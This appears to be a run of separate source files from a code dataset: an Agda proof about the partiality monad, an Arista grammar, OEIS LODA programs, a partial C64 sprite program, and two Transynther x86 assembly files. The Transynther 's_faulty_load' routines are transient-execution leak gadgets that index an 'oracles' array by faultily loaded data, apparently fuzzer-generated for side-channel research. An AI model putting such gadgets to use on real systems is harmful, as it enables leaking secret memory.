; now-to-now = λ x → ⊥-elim x
; ω-continuous = ω-continuous
}
where
open Morphism m
-- Converts partiality algebras to ω-cppos.
drop-now : ∀ {a p q} {A : Type a} →
Partiality-algebra p q A → ω-cppo p q
drop-now P = convert P ⊥-elim
-- The function drop-now does not modify ω-cppos.
drop-now-constant :
∀ {p q} {P : ω-cppo p q} →
drop-now P ≡ P
drop-now-constant =
cong (λ now → record { partiality-algebra-with =
record { now = now } })
(⟨ext⟩ λ x → ⊥-elim x)
-- Converts types to ω-cppos.
Partial⊚ : ∀ {ℓ} → Type ℓ → ω-cppo ℓ ℓ
Partial⊚ = drop-now ∘ partiality-algebra
private
-- A lemma.
Partial⊙′ :
let open Partiality-algebra; open Morphism in
∀ {a b p q} {A : Type a} {B : Type b}
(P : Partiality-algebra p q B) →
(f : A → T P) →
∃ λ (m : Morphism (Partial⊚ A) (drop-now P)) →
(∀ x → function m (PI.now x) ≡ now (convert P f) x)
×
(∀ m′ → (∀ x → function m′ (PI.now x) ≡ now (convert P f) x) →
m ≡ m′)
Partial⊙′ {A = A} P f = m′ , PI.⊥-rec-now _ , lemma
where
P′ : Partiality-algebra _ _ A
P′ = convert P f
m : Morphism (partiality-algebra A) P′
m = proj₁ (initial P′)
m′ : Morphism (Partial⊚ A) (drop-now P)
m′ = drop-convert m
abstract
lemma :
∀ m″ →
(∀ x → Morphism.function m″ (PI.now x) ≡
Partiality-algebra.now P′ x) →
m′ ≡ m″
lemma m″ hyp = _↔_.to equality-characterisation-Morphism (
function m′ ≡⟨⟩
function m ≡⟨ cong function (proj₂ (initial P′) record
{ function = function m″
; monotone = monotone m″
; strict = strict m″
; now-to-now = hyp
; ω-continuous =
ω-continuous m″
}) ⟩∎
function m″ ∎)
where
open Morphism
-- Lifts functions between types to morphisms between the
-- corresponding ω-cppos.
Partial⊙ :
∀ {a b} {A : Type a} {B : Type b} →
(A → B) → Morphism (Partial⊚ A) (Partial⊚ B)
Partial⊙ f = proj₁ (Partial⊙′ (partiality-algebra _) (PI.now ∘ f))
-- Partial⊙ f is the unique morphism (of the given type) mapping
-- PI.now x to PI.now (f x) (for all x).
Partial⊙-now :
∀ {a b} {A : Type a} {B : Type b} {f : A → B} {x} →
Morphism.function (Partial⊙ f) (PI.now x) ≡ PI.now (f x)
Partial⊙-now = proj₁ (proj₂ (Partial⊙′ (partiality-algebra _) _)) _
Partial⊙-unique :
∀ {a b} {A : Type a} {B : Type b} {f : A → B} {m} →
(∀ x → Morphism.function m (PI.now x) ≡ PI.now (f x)) →
Partial⊙ f ≡ m
Partial⊙-unique = proj₂ (proj₂ (Partial⊙′ (partiality-algebra _) _)) _
-- A functor that maps a set A to A ⊥.
Partial : ∀ {ℓ} → precategory-Set ℓ ext ⇨ ω-CPPO ℓ ℓ
_⇨_.functor (Partial {ℓ}) =
Partial⊚ ∘ proj₁
, Partial⊙
, L.lemma₁
, L.lemma₂
where
open Morphism
module L where
abstract
lemma₁ : {A : Type ℓ} → Partial⊙ (id {A = A}) ≡ PA.id
lemma₁ = Partial⊙-unique λ _ → refl
lemma₂ : {A B C : Type ℓ} {f : A → B} {g : B → C} →
Partial⊙ (g ∘ f) ≡ Partial⊙ g PA.∘ Partial⊙ f
lemma₂ {f = f} {g} = Partial⊙-unique λ x →
function (Partial⊙ g PA.∘ Partial⊙ f) (PI.now x) ≡⟨ cong (function (Partial⊙ g)) Partial⊙-now ⟩
function (Partial⊙ g) (PI.now (f x)) ≡⟨ Partial⊙-now ⟩∎
PI.now (g (f x)) ∎
-- Partial is a left adjoint of Forget.
Partial⊣Forget : ∀ {ℓ} → Partial {ℓ = ℓ} ⊣ Forget
Partial⊣Forget {ℓ} =
η
, ε
, (λ {X} →
let P = Partial⊚ (proj₁ X) in
_↔_.to equality-characterisation-Morphism $ ⟨ext⟩ $
⊥-rec-⊥ record
{ pe = fun P (function (Partial⊙ PI.now) PI.never) ≡⟨ cong (fun P) $ strict (Partial⊙ PI.now) ⟩
fun P PI.never ≡⟨ strict (m P) ⟩∎
PI.never ∎
; po = λ x →
fun P (function (Partial⊙ PI.now) (PI.now x)) ≡⟨ cong (fun P) Partial⊙-now ⟩
fun P (PI.now (PI.now x)) ≡⟨ fun-now P ⟩∎
PI.now x ∎
; pl = λ s hyp →
fun P (function (Partial⊙ PI.now) (PI.⨆ s)) ≡⟨ cong (fun P) $ ω-continuous (Partial⊙ PI.now) _ ⟩
fun P (PI.⨆ _) ≡⟨ ω-continuous (m P) _ ⟩
PI.⨆ _ ≡⟨ cong PI.⨆ $ _↔_.to PI.equality-characterisation-increasing hyp ⟩∎
PI.⨆ s ∎
; pp = λ _ → PI.⊥-is-set
})
, (λ {X} → ⟨ext⟩ λ x →
fun X (PI.now x) ≡⟨ fun-now X ⟩∎
x ∎)
where
open Morphism {q₂ = ℓ}
open PAP
open Partiality-algebra
η : id⇨ ⇾ Forget ∙⇨ Partial
_⇾_.natural-transformation η =
PI.now
, (λ {X Y f} → ⟨ext⟩ λ x →
function (Partial⊙ f) (PI.now x) ≡⟨ Partial⊙-now ⟩∎
PI.now (f x) ∎)
m : (X : ω-cppo ℓ ℓ) → Morphism (Partial⊚ (T X)) X
m X = $⟨ id ⟩
(T X → T X) ↝⟨ proj₁ ∘ Partial⊙′ X ⟩
Morphism (Partial⊚ (T X)) (drop-now X) ↝⟨ drop-convert ⟩□
Morphism (Partial⊚ (T X)) X □
fun : (X : ω-cppo ℓ ℓ) → T X ⊥ → T X
fun X = function (m X)
fun-now : ∀ (X : ω-cppo ℓ ℓ) {x} → fun X (PI.now x) ≡ x
fun-now X = proj₁ (proj₂ (Partial⊙′ X _)) _
fun-unique :
(X : ω-cppo ℓ ℓ) (m′ : Morphism (Partial⊚ (T X)) X) →
(∀ x → function m′ (PI.now x) ≡ x) →
fun X ≡ function m′
fun-unique X m′ hyp =
cong function $ proj₂ (proj₂ (Partial⊙′ X _)) (drop-convert m′) hyp
ε : Partial ∙⇨ Forget ⇾ id⇨
_⇾_.natural-transformation ε =
(λ {X} → m X)
, (λ {X Y f} →
let m′ = (Partial ∙⇨ Forget) ⊙ f in
_↔_.to equality-characterisation-Morphism $ ⟨ext⟩ $
⊥-rec-⊥ record
{ pe = function f (fun X PI.never) ≡⟨ cong (function f) (strict (m X)) ⟩
function f (never X) ≡⟨ strict f ⟩
never Y ≡⟨ sym $ strict (m Y) ⟩
fun Y PI.never ≡⟨ cong (fun Y) $ sym $ strict m′ ⟩∎
fun Y (function m′ PI.never) ∎
; po = λ x →
function f (fun X (PI.now x)) ≡⟨ cong (function f) (fun-now X) ⟩
function f x ≡⟨ sym $ fun-now Y ⟩
fun Y (PI.now (function f x)) ≡⟨ cong (fun Y) $ sym Partial⊙-now ⟩∎
fun Y (function m′ (PI.now x)) ∎
; pl = λ s hyp →
function f (fun X (PI.⨆ s)) ≡⟨ cong (function f) (ω-continuous (m X) _) ⟩
function f (⨆ X _) ≡⟨ ω-continuous f _ ⟩
⨆ Y _ ≡⟨ cong (⨆ Y) $ _↔_.to (equality-characterisation-increasing Y) hyp ⟩
⨆ Y _ ≡⟨ sym $ ω-continuous (m Y) _ ⟩
fun Y (PI.⨆ _) ≡⟨ cong (fun Y) $ sym $ ω-continuous m′ _ ⟩∎
fun Y (function m′ (PI.⨆ s)) ∎
; pp = λ _ → T-is-set Y
})
-- Thus we get that the partiality monad is a monad.
Partiality-monad : ∀ {ℓ} → Monad (precategory-Set ℓ ext)
Partiality-monad = adjunction→monad (Partial , Forget , Partial⊣Forget)
private
-- The object part of the monad's functor really does correspond to
-- the partiality monad.
object-part-of-functor-correct :
∀ {a} {A : Set a} →
proj₁ (proj₁ Partiality-monad ⊚ A) ≡ proj₁ A ⊥
object-part-of-functor-correct = refl
-- The definition of "map" obtained here matches the explicit
-- definition in Partiality-monad.Inductive.Monad.
map-correct :
∀ {ℓ} {A B : Set ℓ} {f : proj₁ A → proj₁ B} →
_⊙_ (proj₁ Partiality-monad) {X = A} {Y = B} f ≡
PO.[_⊥→_⊥].function (PM.map f)
map-correct = refl
-- The definition of "return" is the expected one.
return-correct :
∀ {a} {A : Set a} →
_⇾_.transformation (proj₁ (proj₂ Partiality-monad)) {X = A} ≡ PI.now
return-correct = refl
-- The definition of "join" obtained here matches the explicit
-- definition in Partiality-monad.Inductive.Monad.
join-correct :
∀ {a} {A : Set a} →
_⇾_.transformation
(proj₁ (proj₂ (proj₂ Partiality-monad))) {X = A} ≡
PM.join
join-correct = refl
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_1_1191.asm | ljhsiun2/medusa | 9 | 162764 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1e3a3, %rsi
lea addresses_WT_ht+0x19bb7, %rdi
nop
nop
nop
cmp %r9, %r9
mov $9, %rcx
rep movsl
and $64288, %r9
lea addresses_WT_ht+0xe7af, %rsi
nop
cmp %rcx, %rcx
movups (%rsi), %xmm7
vpextrq $0, %xmm7, %r10
nop
nop
nop
nop
cmp %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r8
push %rbp
push %rbx
push %rdi
// Store
lea addresses_D+0x1a903, %rbx
nop
nop
nop
add $60373, %rbp
movb $0x51, (%rbx)
nop
nop
nop
dec %r8
// Store
mov $0xa83, %r10
nop
sub %rbx, %rbx
mov $0x5152535455565758, %r12
movq %r12, %xmm5
vmovaps %ymm5, (%r10)
nop
nop
add $28758, %rbx
// Faulty Load
lea addresses_RW+0x16983, %r10
nop
nop
nop
nop
nop
sub %rdi, %rdi
mov (%r10), %r8
lea oracles, %rdi
and $0xff, %r8
shlq $12, %r8
mov (%rdi,%r8,1), %r8
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'32': 1}
32
*/
|
projects/batfish/src/main/antlr4/org/batfish/grammar/arista/Arista_common.g4 | shiibaryu/batfish | 1 | 4223 | <reponame>shiibaryu/batfish<gh_stars>1-10
parser grammar Arista_common;
options {
tokenVocab = AristaLexer;
}
interface_address
:
ip = IP_ADDRESS subnet = IP_ADDRESS
| prefix = IP_PREFIX
;
ip_prefix
:
address = IP_ADDRESS mask = IP_ADDRESS
| prefix = IP_PREFIX
;
ipv6_prefix
:
prefix = IPV6_PREFIX
;
ospf_area
:
id_ip = IP_ADDRESS
| id = uint32
;
port_number
:
// 1-65535
uint16
;
uint8: UINT8;
uint16: UINT8 | UINT16;
uint32: UINT8 | UINT16 | UINT32;
// TODO: delete all uses of dec, replace with named rules that have a toInt/LongInSpace function
dec: UINT8 | UINT16 | UINT32 | DEC;
vrf_name
:
//1-100 characters
WORD
;
word
:
WORD
; |
oeis/256/A256873.asm | neoneye/loda-programs | 11 | 100196 | <reponame>neoneye/loda-programs<filename>oeis/256/A256873.asm
; A256873: a(n) = 2^(n-1)*(2^n+5).
; 3,7,18,52,168,592,2208,8512,33408,132352,526848,2102272,8398848,33574912,134258688,536952832,2147647488,8590262272,34360393728,137440264192,549758435328,2199028498432,8796103507968,35184393060352,140737530298368,562950037307392,2251799981457408,9007199590285312,36028797690052608,144115189418033152,576460754987778048,2305843014582403072,9223372047592194048,36893488168893939712,147573952632626085888,590295810444604997632,2361183241606621298688,9444732966082887811072,37778931863644356476928
mov $1,2
pow $1,$0
add $1,3
bin $1,2
sub $1,3
mov $0,$1
|
programs/oeis/081/A081345.asm | karttu/loda | 1 | 166696 | ; A081345: First row in maze arrangement of natural numbers A081344.
; 1,4,5,16,17,36,37,64,65,100,101,144,145,196,197,256,257,324,325,400,401,484,485,576,577,676,677,784,785,900,901,1024,1025,1156,1157,1296,1297,1444,1445,1600,1601,1764,1765,1936,1937,2116,2117,2304,2305,2500,2501,2704,2705,2916,2917,3136,3137,3364,3365,3600,3601,3844,3845,4096,4097,4356,4357,4624,4625,4900,4901,5184,5185,5476,5477,5776,5777,6084,6085,6400,6401,6724,6725,7056,7057,7396,7397,7744,7745,8100,8101,8464,8465,8836,8837,9216,9217,9604,9605,10000,10001,10404,10405,10816,10817,11236,11237,11664,11665,12100,12101,12544,12545,12996,12997,13456,13457,13924,13925,14400,14401,14884,14885,15376,15377,15876,15877,16384,16385,16900,16901,17424,17425,17956,17957,18496,18497,19044,19045,19600,19601,20164,20165,20736,20737,21316,21317,21904,21905,22500,22501,23104,23105,23716,23717,24336,24337,24964,24965,25600,25601,26244,26245,26896,26897,27556,27557,28224,28225,28900,28901,29584,29585,30276,30277,30976,30977,31684,31685,32400,32401,33124,33125,33856,33857,34596,34597,35344,35345,36100,36101,36864,36865,37636,37637,38416,38417,39204,39205,40000,40001,40804,40805,41616,41617,42436,42437,43264,43265,44100,44101,44944,44945,45796,45797,46656,46657,47524,47525,48400,48401,49284,49285,50176,50177,51076,51077,51984,51985,52900,52901,53824,53825,54756,54757,55696,55697,56644,56645,57600,57601,58564,58565,59536,59537,60516,60517,61504,61505,62500
mov $2,$0
mod $2,2
mul $2,2
add $2,$0
mul $0,$2
mov $1,$0
add $1,1
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_1392.asm | ljhsiun2/medusa | 9 | 14289 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x14ecd, %rsi
lea addresses_WT_ht+0x11b0d, %rdi
nop
inc %rax
mov $85, %rcx
rep movsq
nop
nop
nop
add %r9, %r9
lea addresses_WC_ht+0x15cd, %rsi
lea addresses_UC_ht+0x1e0ed, %rdi
nop
nop
nop
nop
xor $57710, %r14
mov $103, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %rsi
lea addresses_UC_ht+0x14fcd, %rdi
nop
nop
nop
sub $53328, %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
movups %xmm5, (%rdi)
nop
nop
nop
add $22552, %rsi
lea addresses_UC_ht+0x177d5, %rsi
lea addresses_WT_ht+0x1724d, %rdi
nop
nop
nop
nop
and $8458, %r11
mov $104, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $45599, %rax
lea addresses_WC_ht+0xf8cd, %r14
nop
nop
nop
nop
nop
add %r11, %r11
mov $0x6162636465666768, %rsi
movq %rsi, (%r14)
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x8acd, %rax
sub %r11, %r11
movw $0x6162, (%rax)
nop
and $1844, %rcx
lea addresses_D_ht+0x17001, %r14
and %rdi, %rdi
movl $0x61626364, (%r14)
nop
dec %r9
lea addresses_WC_ht+0xe6cd, %rcx
and %r11, %r11
mov $0x6162636465666768, %r14
movq %r14, (%rcx)
nop
nop
nop
nop
add $26095, %r9
lea addresses_normal_ht+0x8a87, %rsi
lea addresses_A_ht+0xb92f, %rdi
nop
nop
inc %rax
mov $9, %rcx
rep movsb
add $64404, %r14
lea addresses_WT_ht+0xa6cd, %r9
nop
nop
nop
nop
and $17484, %rdi
movl $0x61626364, (%r9)
nop
nop
nop
nop
and $64723, %r9
lea addresses_normal_ht+0xda65, %rsi
lea addresses_D_ht+0x11365, %rdi
inc %r9
mov $120, %rcx
rep movsl
cmp $11428, %rsi
lea addresses_UC_ht+0x1840d, %rsi
lea addresses_A_ht+0x94d, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $46, %rcx
rep movsq
nop
nop
nop
cmp %r11, %r11
lea addresses_WC_ht+0x166cd, %r9
nop
nop
xor %r11, %r11
vmovups (%r9), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %rsi
nop
nop
cmp %rax, %rax
lea addresses_D_ht+0x111cd, %rax
and %rcx, %rcx
movb (%rax), %r14b
nop
nop
nop
add %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_PSE+0xc73d, %rbx
nop
nop
nop
nop
dec %r12
mov $0x5152535455565758, %rsi
movq %rsi, %xmm7
vmovups %ymm7, (%rbx)
nop
nop
nop
and $46109, %r12
// Store
lea addresses_US+0x10ccd, %rsi
clflush (%rsi)
nop
nop
add %r11, %r11
movw $0x5152, (%rsi)
nop
nop
nop
sub $64408, %r12
// Faulty Load
lea addresses_US+0x6cd, %r12
nop
nop
nop
nop
nop
sub %rbp, %rbp
movups (%r12), %xmm6
vpextrq $1, %xmm6, %r11
lea oracles, %rdi
and $0xff, %r11
shlq $12, %r11
mov (%rdi,%r11,1), %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 8, 'size': 1, 'same': False, 'NT': True}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
sprites_display/spritesdisplay.asm | nealvis/c64_samples_kick | 0 | 83004 | <reponame>nealvis/c64_samples_kick
//////////////////////////////////////////////////////////////////////////////
// spritesdisplay.asm
// Copyright(c) 2021 <NAME>.
// License: MIT. See LICENSE file in root directory.
/////////////////////////////////////////////////////////////////////////////
// This sample shows how to display sprites to the screen
*=$0801 "BASIC Start" // location to put a 1 line basic program so we can just
// type run to execute the assembled program.
// will just call assembled program at correct location
// 10 SYS (4096)
// These bytes are a one line basic program that will
// do a sys call to assembly language portion of
// of the program which will be at $1000 or 4096 decimal
// basic line is:
// 10 SYS (4096)
.byte $0E, $08 // Forward address to next basic line
.byte $0A, $00 // this will be line 10 ($0A)
.byte $9E // basic token for SYS
.byte $20, $28, $34, $30, $39, $36, $29 // ASCII for " (4096)"
.byte $00, $00, $00 // end of basic program (addr $080E from above)
// assembler constants for special memory locations
.const CLEAR_SCREEN_KERNAL_ADDR = $E544 // Kernal routine to clear screen
// set the address for our sprite, sprite_0 aka sprite_ship. It must be evenly divisible by 64
// since code starts at $1000 there is room for 4 sprites between $0900 and $1000
*=$0900 "Sprites"
// Byte 64 of each sprite contains the following:
// high nibble: high bit set (8) if multi color, or cleared (0) if single color/high res
// low nibble: this sprite's color in it 0-F
sprite_ship:
// saved from spritemate
// sprite 0 / multicolor / color: $04
sprite_0:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$40,$00,$00,$13,$c0,$00,$5e
.byte $b0,$00,$5e,$ac,$00,$12,$ab,$00
.byte $43,$aa,$c0,$03,$aa,$b0,$00,$aa
.byte $ac,$03,$aa,$b0,$43,$aa,$c0,$12
.byte $ab,$00,$5e,$ac,$00,$5e,$b0,$00
.byte $13,$c0,$00,$40,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$84
sprite_astroid:
// saved from spritemate:
// sprite 1 / singlecolor / color: $0f
sprite_1:
.byte $00,$3f,$00,$00,$7f,$80,$00,$ff
.byte $c0,$00,$ff,$c0,$1f,$ff,$c0,$3f
.byte $ff,$e0,$7f,$ff,$fc,$7f,$ff,$fe
.byte $7f,$ff,$fe,$7f,$ff,$fe,$3f,$ff
.byte $fe,$1f,$ff,$fe,$1f,$ff,$fc,$1f
.byte $ff,$fc,$1f,$ff,$f8,$1f,$ff,$f8
.byte $1f,$ff,$f0,$0f,$f1,$c0,$0f,$e0
.byte $80,$03,$c0,$00,$00,$00,$00,$0f
// our assembly code will goto this address
*=$1000 "Main Start"
// c64 colors
.const C64_COLOR_BLACK = $00
.const C64_COLOR_WHITE = $01
.const C64_COLOR_RED = $02
.const C64_COLOR_CYAN = $03
.const C64_COLOR_PURPLE = $04
.const C64_COLOR_GREEN = $05
.const C64_COLOR_BLUE = $06
.const C64_COLOR_YELLOW = $07
.const C64_COLOR_ORANGE = $08
.const C64_COLOR_BROWN = $09
.const C64_COLOR_LITE_RED = $0a
.const C64_COLOR_DARK_GREY = $0b
.const C64_COLOR_GREY = $0c
.const C64_COLOR_LITE_GREEN = $0d
.const C64_COLOR_LITE_BLUE = $0e
.const C64_COLOR_LITE_GREY = $0f
.const SPRITE_ENABLE_REG_ADDR = $d015 // each bit turns on one of the sprites lsb is sprite 0, msb is sprite 7
.const SPRITE_COLOR_1_ADDR = $D025 // address of color for sprite bits that are binary 01
.const SPRITE_COLOR_2_ADDR = $D026 // address of color for sprite bits that are binary 11
.const SPRITE_0_DATA_PTR_ADDR = $07F8 // address of the pointer to sprite_0's data its only 8 bits
// so its implied that this value will be multipled by 64
.const SPRITE_0_X_ADDR = $D000
.const SPRITE_0_Y_ADDR = $D001
.const SPRITE_1_DATA_PTR_ADDR = $07F9 // address of the pointer to sprite_0's data its only 8 bits
// so its implied that this value will be multipled by 64
.const SPRITE_1_X_ADDR = $D002
.const SPRITE_1_Y_ADDR = $D003
// register with one bit for each sprite to indicate high res (one color)
// or multi color. Bit 0 (lsb) corresponds to sprite 0
// set bit to 1 for multi color, or 0 for high res (one color mode)
.const SPRITE_MODE_REG_ADDR = $D01C
// since there are more than 255 x locations across the screen
// the high bit for each sprite's X location is gathered in the
// byte here. sprite_0's ninth bit is bit 0 of the byte at this addr.
.const ALL_SPRITE_X_HIGH_BIT_ADDR = $D010
// the low 4 bits (0-3) contain the color for sprite 0
// the hi 4 bits don't seem to be writable
.const SPRITE_0_COLOR_REG_ADDR = $d027
// the low 4 bits (0-3) contain the color for sprite 1
// the hi 4 bits don't seem to be writable
.const SPRITE_1_COLOR_REG_ADDR = $d028
//////////////////////////////////////////////////////////////////////
// clear screeen leave cursor upper left
jsr CLEAR_SCREEN_KERNAL_ADDR
//////////////////////////////////////////////////////////////////////
// Setup and display our two sprites
// the steps are:
// Step 1: Set the global multi color sprite colors for
// the sprite_ship multi color sprite (sprite_0)
// Step 2: Setup sprite_0 aka sprite_ship
// 2a: Set the sprite mode for the sprite to multi color or
// high res (one color). This sprite is multi color
// 2b: Set the sprite data pointer for sprite 0 to the 64 bytes
// at label sprite_ship
// 2c: Set the distinct color for sprite_ship
// Step 3: Setup sprite_1 aka sprite_astroid
// 3a: Set the sprite mode for sprite_astroid to multi color
// or high res (one color). This sprite is high res
